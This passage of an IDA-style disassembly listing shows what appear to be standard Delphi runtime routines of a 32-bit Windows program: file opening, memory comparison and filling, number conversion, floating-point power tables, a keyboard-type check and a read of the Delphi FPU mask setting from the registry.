		pop	ebx
		retn
sub_40003390	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400033D8	proc near		; CODE XREF: sub_4000AF68+23p
		mov	edx, [eax+1Ch]
		call	sub_40003390
		retn
sub_400033D8	endp

; ---------------------------------------------------------------------------
		align 4


loc_400033E4:				; DATA XREF: sub_4000347C+Do
		jmp	ds:dword_40024480
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400033EC	proc near		; CODE XREF: sub_4000347C+14p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		mov	edi, edx
		mov	ebx, eax
		mov	eax, [ebp+arg_8]
		movzx	edx, word ptr [ebx+4]
		and	edx, eax
		cmp	eax, edx
		jnz	short loc_40003460
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebx+8]
		imul	esi
		push	eax
		push	edi
		mov	eax, [ebx]
		push	eax
		call	[ebp+arg_4]
		test	eax, eax
		jnz	short loc_4000342E
		call	sub_400011D8	; RtlGetLastWin32Error
		call	sub_40002D7C
		xor	eax, eax
		mov	[ebp+var_4], eax
		jmp	short loc_4000346F
; ---------------------------------------------------------------------------


loc_4000342E:				; CODE XREF: sub_400033EC+2Fj
		mov	ecx, [ebx+8]
		mov	eax, [ebp+var_4]
		xor	edx, edx
		div	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_C]
		test	eax, eax
		jz	short loc_4000344C
		mov	eax, [ebp+arg_C]
		mov	edx, [ebp+var_4]
		mov	[eax], edx
		jmp	short loc_4000346F
; ---------------------------------------------------------------------------


loc_4000344C:				; CODE XREF: sub_400033EC+54j
		cmp	esi, [ebp+var_4]
		jz	short loc_4000346F
		mov	eax, [ebp+arg_0]
		call	sub_40002D7C
		xor	eax, eax
		mov	[ebp+var_4], eax
		jmp	short loc_4000346F
; ---------------------------------------------------------------------------


loc_40003460:				; CODE XREF: sub_400033EC+18j
		mov	eax, 67h
		call	sub_40002D7C
		xor	eax, eax
		mov	[ebp+var_4], eax


loc_4000346F:				; CODE XREF: sub_400033EC+40j
					; sub_400033EC+5Ej ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	10h
sub_400033EC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000347C	proc near		; CODE XREF: .itext:40019A30p
					; .itext:40019A56p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	ebx
		push	0D7B2h
		push	offset loc_400033E4
		push	65h
		call	sub_400033EC
		pop	ebx
		pop	ebp
		retn	4
sub_4000347C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000349C	proc near		; CODE XREF: sub_40006350+1Ep
					; sub_40006350+28p ...
		push	ebx
		push	esi
		mov	ebx, eax
		xor	esi, esi
		movzx	eax, word ptr [ebx+4]
		cmp	ax, 0D7B1h
		jb	short loc_400034DB
		cmp	ax, 0D7B3h
		ja	short loc_400034DB
		and	ax, 0D7B2h
		cmp	ax, 0D7B2h
		jnz	short loc_400034C3
		mov	eax, ebx
		call	dword ptr [ebx+1Ch]
		mov	esi, eax


loc_400034C3:				; CODE XREF: sub_4000349C+1Ej
		test	esi, esi
		jnz	short loc_400034CE
		mov	eax, ebx
		call	dword ptr [ebx+24h]
		mov	esi, eax


loc_400034CE:				; CODE XREF: sub_4000349C+29j
		test	esi, esi
		jz	short loc_400034ED
		mov	eax, esi
		call	sub_40002D7C
		jmp	short loc_400034ED
; ---------------------------------------------------------------------------


loc_400034DB:				; CODE XREF: sub_4000349C+Ej
					; sub_4000349C+14j
		cmp	ebx, offset dword_4001C050
		jz	short loc_400034ED
		mov	eax, 67h
		call	sub_40002D7C


loc_400034ED:				; CODE XREF: sub_4000349C+34j
					; sub_4000349C+3Dj ...
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_4000349C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400034F4	proc near		; CODE XREF: .text:40015A44p
		push	ebx
		movzx	ebx, byte ptr [edx]
		cmp	cl, bl
		jbe	short loc_400034FE
		mov	ecx, ebx


loc_400034FE:				; CODE XREF: sub_400034F4+6j
		mov	[eax], cl
		inc	edx
		inc	eax
		movzx	ecx, cl
		xchg	eax, edx
		call	sub_40002DFC
		pop	ebx
		retn
sub_400034F4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40003510	proc near		; CODE XREF: sub_40014F60+1Bp
		push	ebx
		push	esi
		push	ecx
		mov	esi, ecx
		shr	esi, 2
		jz	short loc_40003540


loc_4000351A:				; CODE XREF: sub_40003510+26j
		mov	ecx, [eax]
		mov	ebx, [edx]
		cmp	ecx, ebx
		jnz	short loc_40003567
		dec	esi
		jz	short loc_4000353A
		mov	ecx, [eax+4]
		mov	ebx, [edx+4]
		cmp	ecx, ebx
		jnz	short loc_40003567
		add	eax, 8
		add	edx, 8
		dec	esi
		jnz	short loc_4000351A
		jmp	short loc_40003540
; ---------------------------------------------------------------------------


loc_4000353A:				; CODE XREF: sub_40003510+13j
		add	eax, 4
		add	edx, 4


loc_40003540:				; CODE XREF: sub_40003510+8j
					; sub_40003510+28j
		pop	esi
		and	esi, 3
		jz	short loc_4000357C
		mov	cl, [eax]
		cmp	cl, [edx]
		jnz	short loc_4000357C
		dec	esi
		jz	short loc_40003562
		mov	cl, [eax+1]
		cmp	cl, [edx+1]
		jnz	short loc_4000357C
		dec	esi
		jz	short loc_40003562
		mov	cl, [eax+2]
		cmp	cl, [edx+2]
		jnz	short loc_4000357C


loc_40003562:				; CODE XREF: sub_40003510+3Dj
					; sub_40003510+48j
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40003567:				; CODE XREF: sub_40003510+10j
					; sub_40003510+1Dj
		pop	esi
		cmp	cl, bl
		jnz	short loc_4000357C
		cmp	ch, bh
		jnz	short loc_4000357C
		shr	ecx, 10h
		shr	ebx, 10h
		cmp	cl, bl
		jnz	short loc_4000357C
		cmp	ch, bh


loc_4000357C:				; CODE XREF: sub_40003510+34j
					; sub_40003510+3Aj ...
		pop	esi
		pop	ebx
		retn
sub_40003510	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40003580	proc near		; CODE XREF: sub_40002540+2Cp
					; sub_40002540+3Ep ...
		cmp	edx, 20h
		mov	ch, cl
		jl	short loc_400035C4
		mov	[eax], cx
		mov	[eax+2], cx
		mov	[eax+4], cx
		mov	[eax+6], cx
		sub	edx, 10h
		fld	qword ptr [eax]
		fst	qword ptr [edx+eax]
		fst	qword ptr [edx+eax+8]
		mov	ecx, eax
		and	ecx, 7
		sub	ecx, 8
		sub	eax, ecx
		add	edx, ecx
		add	eax, edx
		neg	edx


loc_400035B2:				; CODE XREF: sub_40003580+3Cj
		fst	qword ptr [edx+eax]
		fst	qword ptr [edx+eax+8]
		add	edx, 10h
		jl	short loc_400035B2
		ffree	st
		retn
; ---------------------------------------------------------------------------
		align 4


loc_400035C4:				; CODE XREF: sub_40003580+5j
		test	edx, edx
		jle	short nullsub_1
		mov	[edx+eax-1], cl
		and	edx, 0FFFFFFFEh
		neg	edx
		lea	edx, nullsub_1[edx*2]
		jmp	edx
sub_40003580	endp

; ---------------------------------------------------------------------------
		align 4
		mov	[eax+1Ch], cx
		mov	[eax+1Ah], cx
		mov	[eax+18h], cx
		mov	[eax+16h], cx
		mov	[eax+14h], cx
		mov	[eax+12h], cx
		mov	[eax+10h], cx
		mov	[eax+0Eh], cx
		mov	[eax+0Ch], cx
		mov	[eax+0Ah], cx
		mov	[eax+8], cx
		mov	[eax+6], cx
		mov	[eax+4], cx
		mov	[eax+2], cx
		mov	[eax], cx
		retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000361C	proc near		; DATA XREF: sub_40003644+35o
		push	ebx
		push	esi
		mov	ebx, eax
		mov	word ptr [ebx+4], 0D7B0h
		xor	esi, esi
		mov	eax, [ebx]
		call	sub_4000314C
		test	al, al
		jnz	short loc_4000363D
		call	sub_40002D8C
		mov	esi, 1


loc_4000363D:				; CODE XREF: sub_4000361C+15j
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_4000361C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40003644	proc near		; CODE XREF: sub_40003724+5p
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, ecx
		xor	edx, edx
		mov	ebx, eax
		mov	dx, [eax+4]
		sub	edx, 0D7B0h
		jz	short loc_40003670
		cmp	edx, 3
		ja	loc_40003706
		call	dword ptr [ebx+24h]
		test	eax, eax
		jz	short loc_40003670
		call	sub_40002D7C


loc_40003670:				; CODE XREF: sub_40003644+15j
					; sub_40003644+25j
		mov	word ptr [ebx+4], 0D7B3h
		mov	[ebx+8], esi
		mov	dword ptr [ebx+24h], offset sub_4000361C
		mov	dword ptr [ebx+1Ch], offset sub_4000310C
		cmp	byte ptr [ebx+48h], 0
		jz	short loc_400036ED
		mov	eax, 0C0000000h
		mov	dl, byte_4001A00C
		and	edx, 70h
		shr	edx, 2
		mov	edx, dword_4001A758[edx]
		mov	ecx, 2
		sub	edi, 3
		jz	short loc_400036CF
		mov	ecx, 3
		inc	edi
		jz	short loc_400036CF
		mov	eax, 40000000h
		inc	edi
		mov	word ptr [ebx+4], 0D7B2h
		jz	short loc_400036CF
		mov	eax, 80000000h
		mov	word ptr [ebx+4], 0D7B1h


loc_400036CF:				; CODE XREF: sub_40003644+68j
					; sub_40003644+70j ...
		push	0
		push	80h
		push	ecx
		push	0
		push	edx
		push	eax
		lea	eax, [ebx+48h]
		push	eax
		call	sub_40001148	; CreateFileA


loc_400036E4:				; CODE XREF: sub_40003644+C0j
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4000370D
		mov	[ebx], eax
		jmp	short loc_4000371D
; ---------------------------------------------------------------------------


loc_400036ED:				; CODE XREF: sub_40003644+47j
		mov	dword ptr [ebx+24h], offset sub_4000310C
		cmp	edi, 3
		jz	short loc_400036FD
		push	0FFFFFFF6h
		jmp	short loc_400036FF
; ---------------------------------------------------------------------------


loc_400036FD:				; CODE XREF: sub_40003644+B3j
		push	0FFFFFFF5h


loc_400036FF:				; CODE XREF: sub_40003644+B7j
		call	sub_40001160	; GetStdHandle
		jmp	short loc_400036E4
; ---------------------------------------------------------------------------


loc_40003706:				; CODE XREF: sub_40003644+1Aj
		mov	eax, 66h
		jmp	short loc_40003718
; ---------------------------------------------------------------------------


loc_4000370D:				; CODE XREF: sub_40003644+A3j
		mov	word ptr [ebx+4], 0D7B0h
		call	sub_400011D8	; RtlGetLastWin32Error


loc_40003718:				; CODE XREF: sub_40003644+C7j
		call	sub_40002D7C


loc_4000371D:				; CODE XREF: sub_40003644+A7j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40003644	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40003724	proc near		; CODE XREF: .itext:400199EBp
		mov	ecx, 3
		call	sub_40003644
		retn
sub_40003724	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40003730	proc near		; CODE XREF: sub_40003790+4p

var_26		= byte ptr -26h
var_24		= byte ptr -24h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		push	edx
		sub	esp, 14h
		mov	edi, ecx
		mov	esi, eax
		cdq
		xor	eax, edx
		sub	eax, edx
		mov	ecx, 0Ah
		xor	ebx, ebx


loc_40003747:				; CODE XREF: sub_40003730+24j
		xor	edx, edx
		div	ecx
		add	edx, 30h
		mov	[esp+ebx+24h+var_24], dl
		inc	ebx
		test	eax, eax
		jnz	short loc_40003747
		test	esi, esi
		jge	short loc_4000375F
		mov	[esp+ebx+24h+var_24], 2Dh
		inc	ebx


loc_4000375F:				; CODE XREF: sub_40003730+28j
		mov	[edi], bl
		inc	edi
		mov	ecx, [esp+24h+var_10]
		cmp	ecx, 0FFh
		jle	short loc_40003773
		mov	ecx, 0FFh


loc_40003773:				; CODE XREF: sub_40003730+3Cj
		sub	ecx, ebx
		jle	short loc_4000377E
		add	[edi-1], cl
		mov	al, 20h
		rep stosb


loc_4000377E:				; CODE XREF: sub_40003730+45j
					; sub_40003730+56j
		mov	al, [esp+ebx-1]
		mov	[edi], al
		inc	edi
		dec	ebx
		jnz	short loc_4000377E
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40003730	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40003790	proc near		; CODE XREF: sub_40016CE8+2Ap
		mov	ecx, edx
		xor	edx, edx
		call	sub_40003730
		retn
sub_40003790	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000379C	proc near		; CODE XREF: sub_40007DD4+6p
					; sub_40007DEC+Bp ...
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		push	eax
		test	eax, eax
		jz	short loc_40003812
		xor	eax, eax
		xor	ebx, ebx
		mov	edi, 0CCCCCCCh


loc_400037AF:				; CODE XREF: sub_4000379C+19j
		mov	bl, [esi]
		inc	esi
		cmp	bl, 20h
		jz	short loc_400037AF
		mov	ch, 0
		cmp	bl, 2Dh
		jz	short loc_40003820
		cmp	bl, 2Bh
		jz	short loc_40003822


loc_400037C3:				; CODE XREF: sub_4000379C+89j
		cmp	bl, 24h
		jz	short loc_40003827
		cmp	bl, 78h
		jz	short loc_40003827
		cmp	bl, 58h
		jz	short loc_40003827
		cmp	bl, 30h
		jnz	short loc_400037EA
		mov	bl, [esi]
		inc	esi
		cmp	bl, 78h
		jz	short loc_40003827
		cmp	bl, 58h
		jz	short loc_40003827
		test	bl, bl
		jz	short loc_40003808
		jmp	short loc_400037EE
; ---------------------------------------------------------------------------


loc_400037EA:				; CODE XREF: sub_4000379C+39j
		test	bl, bl
		jz	short loc_4000381B


loc_400037EE:				; CODE XREF: sub_4000379C+4Cj
					; sub_4000379C+6Aj
		sub	bl, 30h
		cmp	bl, 9
		ja	short loc_4000381B
		cmp	eax, edi
		ja	short loc_4000381B
		lea	eax, [eax+eax*4]
		add	eax, eax
		add	eax, ebx
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jnz	short loc_400037EE


loc_40003808:				; CODE XREF: sub_4000379C+4Aj
		dec	ch
		jz	short loc_40003815
		test	eax, eax
		jge	short loc_40003864
		jmp	short loc_4000381B
; ---------------------------------------------------------------------------


loc_40003812:				; CODE XREF: sub_4000379C+8j
					; sub_4000379C+95j
		inc	esi
		jmp	short loc_4000381B
; ---------------------------------------------------------------------------


loc_40003815:				; CODE XREF: sub_4000379C+6Ej
		neg	eax
		jle	short loc_40003864
		js	short loc_40003864


loc_4000381B:				; CODE XREF: sub_4000379C+50j
					; sub_4000379C+58j ...
		pop	ebx
		sub	esi, ebx
		jmp	short loc_40003867
; ---------------------------------------------------------------------------


loc_40003820:				; CODE XREF: sub_4000379C+20j
		inc	ch


loc_40003822:				; CODE XREF: sub_4000379C+25j
		mov	bl, [esi]
		inc	esi
		jmp	short loc_400037C3
; ---------------------------------------------------------------------------


loc_40003827:				; CODE XREF: sub_4000379C+2Aj
					; sub_4000379C+2Fj ...
		mov	edi, 0FFFFFFFh
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jz	short loc_40003812


loc_40003833:				; CODE XREF: sub_4000379C+C0j
		cmp	bl, 61h
		jb	short loc_4000383B
		sub	bl, 20h


loc_4000383B:				; CODE XREF: sub_4000379C+9Aj
		sub	bl, 30h
		cmp	bl, 9
		jbe	short loc_4000384E
		sub	bl, 11h
		cmp	bl, 5
		ja	short loc_4000381B
		add	bl, 0Ah


loc_4000384E:				; CODE XREF: sub_4000379C+A5j
		cmp	eax, edi
		ja	short loc_4000381B
		shl	eax, 4
		add	eax, ebx
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jnz	short loc_40003833
		dec	ch
		jnz	short loc_40003864
		neg	eax


loc_40003864:				; CODE XREF: sub_4000379C+72j
					; sub_4000379C+7Bj ...
		pop	ecx
		xor	esi, esi


loc_40003867:				; CODE XREF: sub_4000379C+82j
		mov	[edx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000379C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40003870	proc near		; CODE XREF: sub_40008B01+58p
					; sub_40008D00+85p
		jmp	sub_40003878
sub_40003870	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40003878	proc near		; CODE XREF: sub_40003870j
		push	ebx
		xor	ebx, ebx
		test	eax, eax
		jl	short loc_400038CC
		jz	loc_4000391F
		cmp	eax, 1400h
		jge	loc_40003911
		mov	edx, eax
		and	edx, 1Fh
		lea	edx, [edx+edx*4]
		fld	ds:tbyte_4000392B[ebx+edx*2]
		fmulp	st(1), st
		shr	eax, 5
		jz	short loc_4000391F
		mov	edx, eax
		and	edx, 0Fh
		jz	short loc_400038B9
		lea	edx, [edx+edx*4]
		fld	tbyte ptr ds:byte_40003A61[ebx+edx*2]
		fmulp	st(1), st


loc_400038B9:				; CODE XREF: sub_40003878+33j
		shr	eax, 4
		jz	short loc_4000391F
		lea	eax, [eax+eax*4]
		fld	ds:tbyte_40003AF7[ebx+eax*2]
		fmulp	st(1), st
		jmp	short loc_4000391F
; ---------------------------------------------------------------------------


loc_400038CC:				; CODE XREF: sub_40003878+5j
		neg	eax
		cmp	eax, 1400h
		jge	short loc_4000391B
		mov	edx, eax
		and	edx, 1Fh
		lea	edx, [edx+edx*4]
		fld	ds:tbyte_4000392B[ebx+edx*2]
		fdivp	st(1), st
		shr	eax, 5
		jz	short loc_4000391F
		mov	edx, eax
		and	edx, 0Fh
		jz	short loc_400038FE
		lea	edx, [edx+edx*4]
		fld	tbyte ptr ds:byte_40003A61[ebx+edx*2]
		fdivp	st(1), st


loc_400038FE:				; CODE XREF: sub_40003878+78j
		shr	eax, 4
		jz	short loc_4000391F
		lea	eax, [eax+eax*4]
		fld	ds:tbyte_40003AF7[ebx+eax*2]
		fdivp	st(1), st
		jmp	short loc_4000391F
; ---------------------------------------------------------------------------


loc_40003911:				; CODE XREF: sub_40003878+12j
		fstp	st
		fld	ds:tbyte_40003921[ebx]
		jmp	short loc_4000391F
; ---------------------------------------------------------------------------


loc_4000391B:				; CODE XREF: sub_40003878+5Bj
		fstp	st
		fldz


loc_4000391F:				; CODE XREF: sub_40003878+7j
					; sub_40003878+2Cj ...
		pop	ebx
		retn
sub_40003878	endp

; ---------------------------------------------------------------------------
tbyte_40003921	dt 1.1897314953572317651e4932 ;	DATA XREF: sub_40003878+9Br
tbyte_4000392B	dt 1.0			; DATA XREF: sub_40003878+20r
					; sub_40003878+65r
		align 4
		dd 0
		dd 4002A0h, 0
		dd 5C80000h, 40h, 0
		dd 4008FAh, 0
		dd 0C9C4000h, 40h, 50000000h, 400FC3h, 0
		dd 12F42400h, 40h, 96800000h, 401698h, 0
		dd 19BEBC20h, 40h, 6B280000h, 401CEEh, 0
		dd 209502F9h, 40h, 43B74000h, 4023BAh, 10000000h, 26E8D4A5h
		dd 40h,	84E72A00h, 402A91h, 0F4800000h,	2DB5E620h, 40h
		dd 5FA931A0h, 4030E3h, 0BF040000h, 348E1BC9h, 40h, 0A2BC2EC5h
		dd 4037B1h, 3A764000h, 3ADE0B6Bh, 0E8000040h, 0C7230489h
		dd 403E8Ah, 0C5AC6200h,	41AD78EBh, 7A800040h, 0D726B717h
		dd 4044D8h, 326EAC90h, 48878678h, 57B40040h, 68163F0Ah
		dd 404BA9h, 0CECCEDA1h,	4ED3C21Bh, 1484A040h, 59516140h
		dd 0C8405284h, 0B99019A5h, 55A56FA5h, 200F3A40h, 0CB8F27F4h
		dd 844058CEh, 78F89409h, 5C813F39h, 0B90BE540h,	8F07D736h
		dd 0DF405FA1h, 0CD04674Eh, 62C9F2C9h
		db 40h
byte_40003A61	db 96h			; DATA XREF: sub_40003878+38r
					; sub_40003878+7Dr
		dw 8122h
		dd 6F7C4045h, 9E4065FCh, 0A82B70B5h, 699DC5ADh,	0CFA6D540h
		dd 781F49FFh, 0A340D3C2h, 16C59B14h, 3DEFB3ABh,	0E98CE041h
		dd 0BA47C980h, 0AA41A893h, 2B7FE617h, 12B616A1h, 27556B42h
		dd 70F78D39h, 30427CE0h, 0FFE33CC9h, 0E78A5296h, 0F9DE8E42h
		dd 7EEBFB9Dh, 8C4351AAh, 195C6A2Fh, 0BBD226FCh,	0CCE37643h
		dd 842F29F2h, 0D2442681h, 0DB900Ah, 909FA427h, 0F8AA1744h
		dd 0C5E310AEh, 5944FAC4h, 7E9B09Ch, 64F28A9Ch, 0F7F3D445h
		dd 7A4AE1EBh
		db 95h,	0CFh, 45h
tbyte_40003AF7	dt 9.9999999999999999996e479 ; DATA XREF: sub_40003878+49r
					; sub_40003878+8Er
		db 0C7h, 91h, 0Eh
		dd 19A0AEA6h, 1746A3E3h, 8681750Ch, 48C97675h, 93A7E44Dh
		dd 0B8353B39h, 0E553EDB2h, 5DC53D5Dh, 929E8B3Bh, 0A1F0A65Ah
		dd 0A554C020h, 8B61378Ch, 25D88B5Ah, 0DBF9895Dh, 27F3F867h
		dd 5DC8A2BFh, 9B6E80DDh, 28A2097h, 25C46052h, 0D559F075h
		dd 3511626Eh, 0C37BCAAEh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40003B5C	proc near		; CODE XREF: sub_40003B64+5p
					; sub_40003B64+11p
		jmp	ds:dword_400243FC
sub_40003B5C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40003B64	proc near		; CODE XREF: .itext:4001903Ep
		push	ebx
		xor	ebx, ebx
		push	0
		call	sub_40003B5C	; GetKeyboardType
		cmp	eax, 7
		jnz	short loc_40003B8F
		push	1
		call	sub_40003B5C	; GetKeyboardType
		and	eax, 0FF00h
		cmp	eax, 0D00h
		jz	short loc_40003B8D
		cmp	eax, 400h
		jnz	short loc_40003B8F


loc_40003B8D:				; CODE XREF: sub_40003B64+20j
		mov	bl, 1


loc_40003B8F:				; CODE XREF: sub_40003B64+Dj
					; sub_40003B64+27j
		mov	eax, ebx
		pop	ebx
		retn
sub_40003B64	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40003B94	proc near		; CODE XREF: .itext:40019047p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		movzx	eax, word_4001A024
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		push	0
		push	offset aSoftwareBorlan ; "SOFTWARE\\Borland\\Delphi\\RTL"
		push	80000002h
		call	sub_40001240	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_40003C0C
		xor	eax, eax
		push	ebp
		push	offset loc_40003C05
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_C], 4
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	0
		push	offset aFpumaskvalue ; "FPUMaskValue"
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_40001248	; RegQueryValueExA
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40003C0C


loc_40003BFB:				; CODE XREF: sub_40003B94+76j
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_40001238	; RegCloseKey
		retn
; ---------------------------------------------------------------------------


loc_40003C05:				; DATA XREF: sub_40003B94+2Eo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40003BFB
; ---------------------------------------------------------------------------


loc_40003C0C:				; CODE XREF: sub_40003B94+29j
					; DATA XREF: sub_40003B94+62o
		movzx	eax, word_4001A024
		and	ax, 0FFC0h
		movzx	edx, word ptr [ebp+var_8]
		and	dx, 3Fh
		or	ax, dx
		mov	word_4001A024, ax
		mov	esp, ebp
		pop	ebp
		retn
sub_40003B94	endp

; ---------------------------------------------------------------------------
aSoftwareBorlan	db 'SOFTWARE\Borland\Delphi\RTL',0 ; DATA XREF: sub_40003B94+18o
aFpumaskvalue	db 'FPUMaskValue',0     ; DATA XREF: sub_40003B94+4Co
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40003C58	proc near		; CODE XREF: sub_400040D8+20p
					; .text:4000445Ep ...
		fninit
		wait
		fldcw	word_4001A024
		retn
sub_40003C58	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40003C64	proc near		; CODE XREF: sub_4000ED90+E2p
					; sub_4000ED90+103p ...
		mov	al, 4
		jmp	sub_40002D50
sub_40003C64	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40003C6C	proc near		; CODE XREF: sub_40002540+28Fp
					; sub_4000ADE0+FFp ...
		push	esi
		push	edi
		mov	edi, edx
		mov	esi, [eax-2Ch]
		xor	ecx, ecx
		mov	cl, [esi]
		inc	ecx
		rep movsb
		pop	edi
		pop	esi
		retn
sub_40003C6C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40003C80	proc near		; CODE XREF: sub_40006264p
					; DATA XREF: .text:4000105Co ...
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_40003CB0
		call	sub_40002C20
		mov	edx, eax
		mov	eax, ebx
		call	sub_40003CF4
		pop	ebx
		retn
sub_40003C80	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40003C9C	proc near		; CODE XREF: sub_4000B204+6p
					; DATA XREF: .text:40001060o ...
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_40003D4C
		mov	eax, ebx
		call	sub_40002C3C
		pop	ebx
		retn
sub_40003C9C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40003CB0	proc near		; CODE XREF: sub_40003C80+5p
		add	eax, 0FFFFFFD8h
		mov	eax, [eax]
		retn
sub_40003CB0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40003CB8	proc near		; CODE XREF: sub_4000C69C+16p
					; sub_4000C69C+50p ...
		test	dl, dl
		jz	short loc_40003CC4
		add	esp, 0FFFFFFF0h
		call	sub_40003F30


loc_40003CC4:				; CODE XREF: sub_40003CB8+2j
		test	dl, dl
		jz	short locret_40003CD7
		call	sub_40003F88
		pop	large dword ptr	fs:0
		add	esp, 0Ch

locret_40003CD7:			; CODE XREF: sub_40003CB8+Ej
		retn
sub_40003CB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40003CD8	proc near		; CODE XREF: sub_4000C55C+3Dp
					; sub_4000C710+19p ...
		call	sub_40003FD8
		test	dl, dl
		jle	short locret_40003CE6
		call	sub_40003F80

locret_40003CE6:			; CODE XREF: sub_40003CD8+7j
		retn
sub_40003CD8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40003CE8	proc near		; CODE XREF: sub_400040D8+11Fj
					; .text:4000429Fj ...
		test	eax, eax
		jz	short locret_40003CF3
		mov	dl, 1
		mov	ecx, [eax]
		call	dword ptr [ecx-4]

locret_40003CF3:			; CODE XREF: sub_40003CE8+2j
		retn
sub_40003CE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40003CF4	proc near		; CODE XREF: sub_40003C80+13p
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	edi, edx
		stosd
		mov	ecx, [ebx-28h]
		xor	eax, eax
		push	ecx
		shr	ecx, 2
		dec	ecx
		rep stosd
		pop	ecx
		and	ecx, 3
		rep stosb
		mov	eax, edx
		mov	edx, esp


loc_40003D12:				; CODE XREF: sub_40003CF4+2Fj
		mov	ecx, [ebx-48h]
		test	ecx, ecx
		jz	short loc_40003D1A
		push	ecx


loc_40003D1A:				; CODE XREF: sub_40003CF4+23j
		mov	ebx, [ebx-24h]
		test	ebx, ebx
		jz	short loc_40003D25
		mov	ebx, [ebx]
		jmp	short loc_40003D12
; ---------------------------------------------------------------------------


loc_40003D25:				; CODE XREF: sub_40003CF4+2Bj
		cmp	esp, edx
		jz	short loc_40003D46


loc_40003D29:				; CODE XREF: sub_40003CF4+50j
		pop	ebx
		mov	ecx, [ebx]
		add	ebx, 4


loc_40003D2F:				; CODE XREF: sub_40003CF4+4Cj
		mov	esi, [ebx+10h]
		test	esi, esi
		jz	short loc_40003D3C
		mov	edi, [ebx+14h]
		mov	[edi+eax], esi


loc_40003D3C:				; CODE XREF: sub_40003CF4+40j
		add	ebx, 1Ch
		dec	ecx
		jnz	short loc_40003D2F
		cmp	esp, edx
		jnz	short loc_40003D29


loc_40003D46:				; CODE XREF: sub_40003CF4+33j
		pop	edi
		pop	esi
